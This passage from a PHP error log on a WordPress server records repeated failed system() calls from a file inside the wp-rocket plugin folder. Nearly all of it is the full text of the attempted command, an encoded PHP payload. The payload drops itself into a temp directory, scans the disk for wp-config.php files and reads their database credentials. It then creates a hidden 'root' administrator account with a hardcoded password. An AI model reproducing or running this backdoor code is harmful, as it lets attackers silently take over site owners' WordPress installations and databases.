0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.request&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[20-Nov-2025 16:59:12 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.partition&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[21-Nov-2025 05:06:15 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%